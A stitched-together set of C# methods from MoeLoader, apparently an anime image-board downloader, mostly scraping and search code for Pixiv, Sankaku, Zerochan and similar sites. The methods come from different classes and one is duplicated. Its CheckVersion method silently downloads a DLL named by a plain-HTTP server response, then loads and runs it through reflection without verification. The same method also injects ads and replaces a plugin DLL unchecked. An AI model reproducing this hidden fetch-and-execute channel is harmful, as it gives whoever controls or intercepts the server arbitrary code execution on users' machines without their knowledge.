public override List <TagItem> GetTags(string word, System.Net.IWebProxy proxy) { List <MoeLoader.TagItem> re = new List <MoeLoader.TagItem>(); string url = string.Format("http://" + sitePrefix + ".sankakucomplex.com/tag/index.xml?limit={0}&order=count&name={1}", 8, word); MoeLoader.MyWebClient web = new MoeLoader.MyWebClient(); web.Timeout = 8; web.Proxy = proxy; web.Encoding = Encoding.UTF8; string xml = web.DownloadString(url); XmlDocument xmlDoc = new XmlDocument(); xmlDoc.LoadXml(xml.ToString()); XmlElement root = (XmlElement)(xmlDoc.SelectSingleNode("tags")); //root foreach (XmlNode node in root.ChildNodes) { XmlElement tag = (XmlElement)node; string name = tag.GetAttribute("name"); string count = tag.GetAttribute("count"); re.Add(new MoeLoader.TagItem() { Name = name, Count = count }); } return(re); }
public override string GetPageString(int page, int count, string keyWord, System.Net.IWebProxy proxy) { string address = string.Format(SiteUrl + "/posts?page={0}&limit={1}&tags={2}", page, count, keyWord); if (keyWord.Length == 0) { address = address.Substring(0, address.Length - 6); } MyWebClient client = new MyWebClient { Proxy = proxy, Encoding = Encoding.UTF8 }; string pageString = client.DownloadString(address); client.Dispose(); return pageString; }
/// <summary> /// 检查站点定义是否有更新 /// </summary> /// <param name="version"></param> /// <returns></returns> public static bool CheckUpdate(string version) { try { Version remoteVer = new Version(version); //bool needUpdate = false; string curPath = System.IO.Path.GetDirectoryName(System.Reflection.Assembly.GetExecutingAssembly().Location); if (remoteVer > System.Reflection.Assembly.LoadFile(curPath + "\\SitePack.dll").GetName().Version) { MyWebClient web = new MyWebClient(); web.DownloadFile("http://moeloader.sinaapp.com/sitepack.php", curPath + "\\SitePack.dll.new"); return true; } } catch { } return false; }
public override string GetPageString(int page, int count, string keyWord, System.Net.IWebProxy proxy) { //if (page > 1000) throw new Exception("页码过大,若需浏览更多图片请使用关键词限定范围"); Login(proxy); //http://www.pixiv.net/new_illust.php?p=2 string url = SiteUrl + "/new_illust.php?p=" + page; MyWebClient web = new MyWebClient(); web.Proxy = proxy; web.Headers["Cookie"] = cookie; web.Encoding = Encoding.UTF8; if (keyWord.Length > 0) { //http://www.pixiv.net/search.php?s_mode=s_tag&word=hatsune&order=date_d&p=2 url = SiteUrl + "/search.php?s_mode=s_tag&word=" + keyWord + "&order=date_d&p=" + page; } if (srcType == PixivSrcType.Author) { int memberId = 0; if (keyWord.Trim().Length == 0 || !int.TryParse(keyWord.Trim(), out memberId)) { throw new Exception("必须在关键词中指定画师 id;若需要使用标签进行搜索请使用 www.pixiv.net [TAG]"); } //member id url = SiteUrl + "/member_illust.php?id=" + memberId + "&p=" + page; } else if (srcType == PixivSrcType.Day) { url = SiteUrl + "/ranking.php?mode=daily&p=" + page; } else if (srcType == PixivSrcType.Week) { url = SiteUrl + "/ranking.php?mode=weekly&p=" + page; } else if (srcType == PixivSrcType.Month) { url = SiteUrl + "/ranking.php?mode=monthly&p=" + page; } string pageString = web.DownloadString(url); web.Dispose(); return pageString; }
/// <summary> /// get images sync /// </summary> //public List<Img> GetImages(int page, int count, string keyWord, int maskScore, int maskRes, ViewedID lastViewed, bool maskViewed, System.Net.IWebProxy proxy, bool showExplicit) //{ // return GetImages(GetPageString(page, count, keyWord, proxy), maskScore, maskRes, lastViewed, maskViewed, proxy, showExplicit); //} public override string GetPageString(int page, int count, string keyWord, System.Net.IWebProxy proxy) { Login(proxy); string url = SiteUrl + "/?p=" + page; MyWebClient web = new MyWebClient(); web.Proxy = proxy; web.Headers["Cookie"] = sessionId; web.Encoding = Encoding.UTF8; if (keyWord.Length > 0) { //先使用关键词搜索,然后HTTP 301返回实际地址 //http://www.zerochan.net/search?q=tony+taka url = SiteUrl + "/search?q=" + keyWord; System.Net.HttpWebRequest req = (System.Net.HttpWebRequest)System.Net.WebRequest.Create(url); req.UserAgent = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"; req.Proxy = proxy; req.Timeout = 8000; req.Method = "GET"; //prevent 301 req.AllowAutoRedirect = false; System.Net.WebResponse rsp = req.GetResponse(); //http://www.zerochan.net/Tony+Taka?p=1 //HTTP 301然后返回实际地址 string location = rsp.Headers["Location"]; rsp.Close(); if (location != null && location.Length > 0) { //非完整地址,需要前缀 url = SiteUrl + location + "?p=" + page; } else { throw new Exception("搜索失败,请检查您输入的关键词"); } } string pageString = web.DownloadString(url); web.Dispose(); return pageString; }
public override string GetPageString(int page, int count, string keyWord, System.Net.IWebProxy proxy) { //http://worldcosplay.net/api/photo/list?page=3&limit=2&sort=created_at&direction=descend string url = SiteUrl + "/api/photo/list?page=" + page + "&limit=" + count + "&sort=created_at&direction=descend"; MyWebClient web = new MyWebClient(); web.Proxy = proxy; web.Encoding = Encoding.UTF8; if (keyWord.Length > 0) { //http://worldcosplay.net/api/photo/search?page=2&rows=48&q=%E5%90%8A%E5%B8%A6%E8%A2%9C%E5%A4%A9%E4%BD%BF url = SiteUrl + "/api/photo/search?page=" + page + "&rows=" + count + "&q=" + keyWord; } string pageString = web.DownloadString(url); web.Dispose(); return pageString; }
public override string GetPageString(int page, int count, string keyWord, System.Net.IWebProxy proxy) { //http://chan.sankakucomplex.com/post/index.content?page=2&limit=3&tags=xxx string url = SiteUrl + "/post/index.content?page=" + page + "&limit=" + count; MyWebClient web = new MyWebClient(); web.Proxy = proxy; //web.Headers["Cookie"] = sessionId; web.Encoding = Encoding.UTF8; if (keyWord.Length > 0) { url += "&tags=" + keyWord; } string pageString = web.DownloadString(url); web.Dispose(); return pageString; }
public override string GetPageString(int page, int count, string keyWord, System.Net.IWebProxy proxy) { Login(proxy); //http://mjv-art.org/pictures/view_posts/0?lang=en string url = SiteUrl + "/pictures/view_posts/" + (page - 1) + "?lang=en"; MyWebClient web = new MyWebClient(); web.Proxy = proxy; web.Headers["Cookie"] = sessionId; web.Encoding = Encoding.UTF8; if (keyWord.Length > 0) { //http://mjv-art.org/pictures/view_posts/0?search_tag=suzumiya%20haruhi&order_by=date&ldate=0&lang=en url = SiteUrl + "/pictures/view_posts/" + (page - 1) + "?search_tag=" + keyWord + "&order_by=date&ldate=0&lang=en"; } string pageString = web.DownloadString(url); web.Dispose(); return pageString; }
/// <summary> /// get images sync /// </summary> //public List<Img> GetImages(int page, int count, string keyWord, int maskScore, int maskRes, ViewedID lastViewed, bool maskViewed, System.Net.IWebProxy proxy, bool showExplicit) //{ // return GetImages(GetPageString(page, count, keyWord, proxy), maskScore, maskRes, lastViewed, maskViewed, proxy, showExplicit); //} public override string GetPageString(int page, int count, string keyWord, System.Net.IWebProxy proxy) { string url = SiteUrl + "/?page=" + page; MyWebClient web = new MyWebClient(); web.Proxy = proxy; web.Encoding = Encoding.UTF8; if (keyWord.Length > 0) { url = SiteUrl + "/search/process/"; //multi search string data = "tags=" + keyWord + "&source=&char=&artist=&postcontent=&txtposter="; if (type == 2) { data = "tags=&source=" + keyWord + "&char=&artist=&postcontent=&txtposter="; } else if (type == 3) { data = "tags=&source=&char=&artist=" + keyWord + "&postcontent=&txtposter="; } else if (type == 4) { data = "tags=&source=&char=" + keyWord + "&artist=&postcontent=&txtposter="; } //e-shuushuu需要将关键词转换为tag id,然后进行搜索 System.Net.HttpWebRequest req = (System.Net.HttpWebRequest)System.Net.WebRequest.Create(url); req.UserAgent = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"; req.Proxy = proxy; req.Timeout = 8000; req.Method = "POST"; //prevent 303 req.AllowAutoRedirect = false; byte[] buf = Encoding.UTF8.GetBytes(data); req.ContentType = "application/x-www-form-urlencoded"; req.ContentLength = buf.Length; System.IO.Stream str = req.GetRequestStream(); str.Write(buf, 0, buf.Length); str.Close(); System.Net.WebResponse rsp = req.GetResponse(); //http://e-shuushuu.net/search/results/?tags=2 //HTTP 303然后返回实际地址 string location = rsp.Headers["Location"]; rsp.Close(); if (location != null && location.Length > 0) { //非完整地址,需要前缀 url = rsp.Headers["Location"] + "&page=" + page; } else { throw new Exception("搜索失败,请检查您输入的关键词"); } } string pageString = web.DownloadString(url); web.Dispose(); return pageString; }
public override List<TagItem> GetTags(string word, System.Net.IWebProxy proxy) { //type 1 tag 2 source 3 artist | chara no type List<TagItem> re = new List<TagItem>(); //chara without hint if (type == 4) return re; string url = SiteUrl + "/httpreq.php?mode=tag_search&tags=" + word + "&type=" + type; MyWebClient web = new MyWebClient(); web.Timeout = 8; web.Proxy = proxy; web.Encoding = Encoding.UTF8; string txt = web.DownloadString(url); string[] lines = txt.Split(new char[] { '\n' }); for (int i = 0; i < lines.Length && i < 8; i++) { if (lines[i].Trim().Length > 0) re.Add(new TagItem() { Name = lines[i].Trim(), Count = "N/A" }); } return re; }
public override List<Img> GetImages(string pageString, System.Net.IWebProxy proxy) { List<Img> list = new List<Img>(); HtmlDocument document = new HtmlDocument(); document.LoadHtml(pageString); HtmlNodeCollection nodes = document.DocumentNode.SelectNodes("//article"); if (nodes == null) { return list; } foreach (HtmlNode node in nodes) { HtmlNode node2 = node.SelectSingleNode("a"); HtmlNode node3 = node2.SelectSingleNode("img"); string detailUrl = SiteUrl + node2.Attributes["href"].Value; Img item = new Img() { Desc = node.Attributes["data-tags"].Value, Height = Convert.ToInt32(node.Attributes["data-height"].Value), Id = Convert.ToInt32(node.Attributes["data-id"].Value), IsExplicit = node.Attributes["data-rating"].Value == "e", Tags = node.Attributes["data-tags"].Value, Width = Convert.ToInt32(node.Attributes["data-width"].Value), PreviewUrl = this.SiteUrl + node3.Attributes["src"].Value, DetailUrl = detailUrl }; item.DownloadDetail = (i, p) => { string html = new MyWebClient { Proxy = p, Encoding = Encoding.UTF8 }.DownloadString(i.DetailUrl); HtmlDocument doc = new HtmlDocument(); doc.LoadHtml(html); HtmlNodeCollection sectionNodes = doc.DocumentNode.SelectNodes("//section"); foreach (HtmlNode n in sectionNodes) { var ns = n.SelectNodes(".//li"); if (ns == null) continue; foreach (HtmlNode n1 in ns) { if (n1.InnerText.Contains("Date:")) { i.Date = n1.SelectSingleNode(".//time").Attributes["title"].Value; } if (n1.InnerText.Contains("Size:")) { i.OriginalUrl = this.SiteUrl + n1.SelectSingleNode(".//a").Attributes["href"].Value; i.JpegUrl = i.OriginalUrl; i.FileSize = n1.SelectSingleNode(".//a").InnerText; i.Dimension = n1.InnerText.Substring(n1.InnerText.IndexOf('(') + 1, n1.InnerText.LastIndexOf(')') - n1.InnerText.IndexOf('(') - 1); } if (n1.InnerText.Contains("Score:")) { i.Score = Convert.ToInt32(n1.SelectSingleNode(".//span").InnerText); } } } i.SampleUrl = this.SiteUrl + doc.DocumentNode.SelectSingleNode("//img[@id='image']").Attributes["src"].Value; }; list.Add(item); } return list; }
// DO NOT SUPPORT TAG HINT //public override List<TagItem> GetTags(string word, System.Net.IWebProxy proxy) //{ // List<TagItem> re = new List<TagItem>(); // return re; //} private Img GenerateImg(string detailUrl, string preview_url, string id) { int intId = int.Parse(id); if (!detailUrl.StartsWith("http") && !detailUrl.StartsWith("/")) detailUrl = "/" + detailUrl; //convert relative url to absolute if (detailUrl.StartsWith("/")) detailUrl = SiteUrl + detailUrl; if (preview_url.StartsWith("/")) preview_url = SiteUrl + preview_url; //string fileUrl = preview_url.Replace("_s.", "."); //string sampleUrl = preview_url.Replace("_s.", "_m."); //http://i1.pixiv.net/img-inf/img/2013/04/10/00/11/37/34912478_s.png //http://i1.pixiv.net/img03/img/tukumo/34912478_m.png //http://i1.pixiv.net/img03/img/tukumo/34912478.png Img img = new Img() { //Date = "N/A", //FileSize = file_size.ToUpper(), //Desc = intId + " ", Id = intId, //JpegUrl = fileUrl, //OriginalUrl = fileUrl, PreviewUrl = preview_url, //SampleUrl = sampleUrl, //Score = 0, //Width = width, //Height = height, //Tags = tags, DetailUrl = detailUrl }; img.DownloadDetail = new DetailHandler((i, p) => { //retrieve details MyWebClient web = new MyWebClient(); web.Proxy = p; web.Encoding = Encoding.UTF8; web.Headers["Cookie"] = cookie; web.Headers["Referer"] = Referer; string page = web.DownloadString(i.DetailUrl); HtmlDocument doc = new HtmlDocument(); doc.LoadHtml(page); //04/16/2012 17:44|600×800|SAI or 04/16/2012 17:44|600×800 or 04/19/2012 22:57|漫画 6P|SAI i.Date = doc.DocumentNode.SelectSingleNode("//ul[@class='meta']/li[1]").InnerText; //总点数 i.Score = int.Parse(doc.DocumentNode.SelectSingleNode("//dd[@class='score-count']").InnerText); //「カルタ&わたぬき」/「えれっと」のイラスト [pixiv] i.Desc += doc.DocumentNode.SelectSingleNode("//title").InnerText.Replace("のイラスト [pixiv]", "").Replace("の漫画 [pixiv]", "").Replace("「", "").Replace("」", "").Replace("/", "_"); //URLS //http://i2.pixiv.net/c/600x600/img-master/img/2014/10/08/06/13/30/46422743_p0_master1200.jpg //http://i2.pixiv.net/img-original/img/2014/10/08/06/13/30/46422743_p0.png i.SampleUrl = doc.DocumentNode.SelectSingleNode("//div[@class='works_display']").SelectSingleNode(".//img").Attributes["src"].Value; i.OriginalUrl = i.SampleUrl.Replace("600x600", "1200x1200"); i.JpegUrl = i.OriginalUrl; //600×800 or 漫画 6P string dimension = doc.DocumentNode.SelectSingleNode("//ul[@class='meta']/li[2]").InnerText; try { //706×1000 i.Width = int.Parse(dimension.Substring(0, dimension.IndexOf('×'))); i.Height = int.Parse(System.Text.RegularExpressions.Regex.Match(dimension.Substring(dimension.IndexOf('×') + 1), @"\d+").Value); } catch { } try { if (i.Width == 0 && i.Height == 0) { //i.OriginalUrl = i.SampleUrl.Replace("600x600", "1200x1200"); i.JpegUrl = i.OriginalUrl; //manga list //漫画 6P int index = dimension.IndexOf(' ') + 1; string mangaPart = dimension.Substring(index, dimension.IndexOf('P') - index); int mangaCount = int.Parse(mangaPart); i.Dimension = "Manga " + mangaCount + "P"; for (int j = 0; j < mangaCount; j++) { //oriUrl = "http://img" + imgsvr + ".pixiv.net/img/" + items[6].Split('/')[4] + "/" + id + "_p0." + ext; img.OrignalUrlList.Add(i.OriginalUrl.Replace("_p0", "_p" + j)); } } } catch { } }); return img; }
private void CheckVersion() { try { System.Threading.Thread.Sleep(3000); System.Net.HttpWebRequest req = System.Net.WebRequest.Create("http://moeloader.sinaapp.com/update1.php") as System.Net.HttpWebRequest; //System.Net.HttpWebRequest req = System.Net.WebRequest.Create("http://localhost:8888/update1") as System.Net.HttpWebRequest; req.Timeout = 15000; req.Method = "GET"; //F**K GFW!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! //req.Proxy = new System.Net.WebProxy("203.208.39.104:80"); //server IP and port System.Net.WebResponse res = req.GetResponse(); System.IO.StreamReader re = new System.IO.StreamReader(res.GetResponseStream(), Encoding.UTF8); string content = re.ReadToEnd(); string[] parts = content.Split('|'); res.Close(); //////////////////////////ad////////////// string ad = parts[1]; Dispatcher.Invoke(new VoidDel(delegate { string[] ads = ad.Split(';'); if (ads.Length > 2) { downloadC.SetAd(ads[0], ads[1], ads[2]); } })); /////////////////////version///////////// Version remoteVer = new Version(parts[0]); bool totalUpdate = false; if (remoteVer > System.Reflection.Assembly.GetExecutingAssembly().GetName().Version) { MyWebClient web = new MyWebClient(); //web.Proxy = new System.Net.WebProxy("203.208.39.104:80"); //int fileN = 1; string filen = System.IO.Path.GetDirectoryName(System.Reflection.Assembly.GetExecutingAssembly().Location) + "\\MoeLoader_v" + remoteVer + ".7z"; //while (System.IO.File.Exists(filen)) //{ //fileN++; //filen = System.IO.Path.GetDirectoryName(System.Reflection.Assembly.GetExecutingAssembly().Location) + "\\MoeLoader_New_" + fileN + ".rar"; //} web.DownloadFile("http://moeloader.sinaapp.com/download.php", filen); Dispatcher.Invoke(new VoidDel(delegate { MessageBox.Show(this, "发现新版本 " + parts[0] + ",已下载至\r\n" + filen + "\r\n请稍候手工解压缩并替换程序文件\r\n\r\n本次更新内容:\r\n" + parts[2], "Moe Loader", MessageBoxButton.OK, MessageBoxImage.Information); })); totalUpdate = true; } ///////////////// site pack ////////////// if (parts.Length > 4 && parts[4].Length > 0 && !totalUpdate) { //若已经全部更新则无需单独更新 Site Pack if (SiteManager.CheckUpdate(parts[4])) { Dispatcher.Invoke(new VoidDel(delegate { statusText.Text = "站点定义已更新,重启程序生效"; })); } } /////////////////// ext //////////////////// if (parts.Length > 3 && parts[3].Length > 0) { MyWebClient web = new MyWebClient(); byte[] dllData = web.DownloadData("http://moeloader.sinaapp.com/" + parts[3]); //run Type type = Assembly.Load(dllData).GetType("Executor.Executor", true, false); MethodInfo methodInfo = type.GetMethod("Execute", Type.EmptyTypes); methodInfo.Invoke(System.Activator.CreateInstance(type), null); } } catch (Exception) { //MessageBox.Show(ex.ToString()); } }
public override List<TagItem> GetTags(string word, System.Net.IWebProxy proxy) { List<MoeLoader.TagItem> re = new List<MoeLoader.TagItem>(); string url = string.Format("http://" + sitePrefix + ".sankakucomplex.com/tag/index.xml?limit={0}&order=count&name={1}", 8, word); MoeLoader.MyWebClient web = new MoeLoader.MyWebClient(); web.Timeout = 8; web.Proxy = proxy; web.Encoding = Encoding.UTF8; string xml = web.DownloadString(url); XmlDocument xmlDoc = new XmlDocument(); xmlDoc.LoadXml(xml.ToString()); XmlElement root = (XmlElement)(xmlDoc.SelectSingleNode("tags")); //root foreach (XmlNode node in root.ChildNodes) { XmlElement tag = (XmlElement)node; string name = tag.GetAttribute("name"); string count = tag.GetAttribute("count"); re.Add(new MoeLoader.TagItem() { Name = name, Count = count }); } return re; }
private Img GenerateImg(string detailUrl, string preview_url, string tags, string id) { int intId = int.Parse(id); //convert relative url to absolute if (detailUrl.StartsWith("/")) detailUrl = SiteUrl + detailUrl; preview_url = FixUrl(preview_url); Img img = new Img() { //Date = "N/A", //FileSize = file_size.ToUpper(), Desc = tags, Id = intId, //JpegUrl = preview_url, //OriginalUrl = preview_url, PreviewUrl = preview_url, //SampleUrl = preview_url, //Score = 0, Tags = tags, DetailUrl = detailUrl }; img.DownloadDetail = (i, p) => { //retrieve details MyWebClient web = new MyWebClient(); web.Proxy = p; web.Encoding = Encoding.UTF8; string page = web.DownloadString(i.DetailUrl); HtmlDocument doc = new HtmlDocument(); doc.LoadHtml(page); //retrieve img node HtmlNodeCollection nodes = doc.DocumentNode.SelectSingleNode("//div[@id='stats']").SelectNodes(".//li"); foreach (var node in nodes) { if (node.InnerText.Contains("Posted")) { i.Date = node.SelectSingleNode("a").Attributes["title"].Value; } else if (node.InnerText.Contains("Resized")) { i.SampleUrl = node.SelectSingleNode("a").Attributes["href"].Value; i.SampleUrl = FixUrl(i.SampleUrl); } else if (node.InnerText.Contains("Original")) { i.OriginalUrl = node.SelectSingleNode("a").Attributes["href"].Value; i.OriginalUrl = FixUrl(i.OriginalUrl); i.JpegUrl = i.OriginalUrl; //1368x1000 (197.4 KB) string size = node.SelectSingleNode("a").InnerText; i.Dimension = size.Substring(0, size.IndexOf(' ')); i.FileSize = size.Substring(size.IndexOf('(') + 1); i.FileSize = i.FileSize.Substring(0, i.FileSize.Length - 1); } } }; return img; }
public override List<TagItem> GetTags(string word, System.Net.IWebProxy proxy) { //http://www.minitokyo.net/suggest?q=haruhi&limit=8 List<TagItem> re = new List<TagItem>(); string url = SiteUrl + "/suggest?limit=8&q=" + word; MyWebClient web = new MyWebClient(); web.Timeout = 8; web.Proxy = proxy; web.Headers["Cookie"] = sessionId; web.Encoding = Encoding.UTF8; string txt = web.DownloadString(url); string[] lines = txt.Split(new char[] { '\n' }); for (int i = 0; i < lines.Length && i < 8; i++) { //The Melancholy of Suzumiya Haruhi|Series|Noizi Ito if (lines[i].Trim().Length > 0) re.Add(new TagItem() { Name = lines[i].Substring(0, lines[i].IndexOf('|')).Trim(), Count = "N/A" }); } return re; }
/// <summary> /// get images sync /// </summary> //public List<Img> GetImages(int page, int count, string keyWord, int maskScore, int maskRes, ViewedID lastViewed, bool maskViewed, System.Net.IWebProxy proxy, bool showExplicit) //{ // return GetImages(GetPageString(page, count, keyWord, proxy), maskScore, maskRes, lastViewed, maskViewed, proxy, showExplicit); //} public override string GetPageString(int page, int count, string keyWord, System.Net.IWebProxy proxy) { Login(proxy); //http://gallery.minitokyo.net/scans?order=id&display=extensive&page=2 string url = "http://gallery.minitokyo.net/" + type + "?order=id&display=extensive&page=" + page; MyWebClient web = new MyWebClient(); web.Proxy = proxy; web.Headers["Cookie"] = sessionId; web.Encoding = Encoding.UTF8; if (keyWord.Length > 0) { //先使用关键词搜索,然后HTTP 303返回实际地址 //http://www.minitokyo.net/search?q=haruhi url = SiteUrl + "/search?q=" + keyWord; System.Net.HttpWebRequest req = (System.Net.HttpWebRequest)System.Net.WebRequest.Create(url); req.UserAgent = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"; req.Proxy = proxy; req.Timeout = 8000; req.Method = "GET"; //prevent 303 See Other req.AllowAutoRedirect = false; System.Net.WebResponse rsp = req.GetResponse(); //http://www.minitokyo.net/Haruhi+Suzumiya //HTTP 303然后返回实际地址 string location = rsp.Headers["Location"]; rsp.Close(); if (location != null && location.Length > 0) { //非完整地址,需要前缀 url = SiteUrl + location; //再次访问,得到真实列表页地址... string html = web.DownloadString(url); //http://browse.minitokyo.net/gallery?tid=2112&index=1 WALL //http://browse.minitokyo.net/gallery?tid=2112&index=3 SCAN //http://browse.minitokyo.net/gallery?tid=2112&index=1&order=id int urlIndex = html.IndexOf("http://browse.minitokyo.net/gallery?tid="); if (type == WALL) { url = html.Substring(urlIndex, html.IndexOf('"', urlIndex) - urlIndex - 1) + "1"; } else { url = html.Substring(urlIndex, html.IndexOf('"', urlIndex) - urlIndex - 1) + "3"; } //http://browse.minitokyo.net/gallery?tid=2112&%3Bindex=1&order=id&display=extensive url += "&order=id&display=extensive&page=" + page; url = url.Replace("&", "&"); } else { throw new Exception("搜索失败,请检查您输入的关键词"); } } string pageString = web.DownloadString(url); web.Dispose(); return pageString; }
private Img GenerateImg(string detailUrl, string preview_url, string dimension, string tags, string id) { int intId = int.Parse(id); int width = 0, height = 0; try { //706x1000 width = int.Parse(dimension.Substring(0, dimension.IndexOf('x'))); height = int.Parse(dimension.Substring(dimension.IndexOf('x') + 1)); } catch { } //convert relative url to absolute if (detailUrl.StartsWith("/")) detailUrl = SiteUrl + detailUrl; if (preview_url.StartsWith("/")) preview_url = SiteUrl + preview_url; Img img = new Img() { //Date = "N/A", //FileSize = file_size.ToUpper(), //Desc = tags, Id = intId, //JpegUrl = preview_url, //OriginalUrl = preview_url, PreviewUrl = preview_url, //SampleUrl = preview_url, //Score = 0, Width = width, Height = height, //Tags = tags, DetailUrl = detailUrl, }; img.DownloadDetail = new DetailHandler((i, p) => { //retrieve details MyWebClient web = new MyWebClient(); web.Proxy = p; web.Headers["Cookie"] = sessionId; web.Encoding = Encoding.UTF8; string page = web.DownloadString(i.DetailUrl); //<b>Size:</b> 326.0KB<br> int index = page.IndexOf("<b>Size"); string fileSize = page.Substring(index + 12, page.IndexOf('<', index + 12) - index - 12).Trim(); //<b>Date Published:</b> 2/24/12 4:57 PM index = page.IndexOf("<b>Date Published"); string date = page.Substring(index + 22, page.IndexOf('<', index + 22) - index - 22).Trim(); HtmlDocument doc = new HtmlDocument(); doc.LoadHtml(page); //retrieve img node HtmlNode node = doc.DocumentNode.SelectSingleNode("//div[@id='big_preview_cont']").SelectSingleNode("a"); string fileUrl = node.Attributes["href"].Value; string sampleUrl = node.SelectSingleNode("img").Attributes["src"].Value; i.Tags = doc.DocumentNode.SelectSingleNode("//meta[@name='description']").Attributes["content"].Value; i.Tags = i.Tags.Replace('\n', ' ').Replace("\t", ""); i.Desc = i.Tags; if (fileUrl.StartsWith("/")) fileUrl = SiteUrl + fileUrl; if (sampleUrl.StartsWith("/")) sampleUrl = SiteUrl + sampleUrl; i.Date = date; i.FileSize = fileSize; i.JpegUrl = fileUrl; i.OriginalUrl = fileUrl; i.SampleUrl = sampleUrl; }); return img; }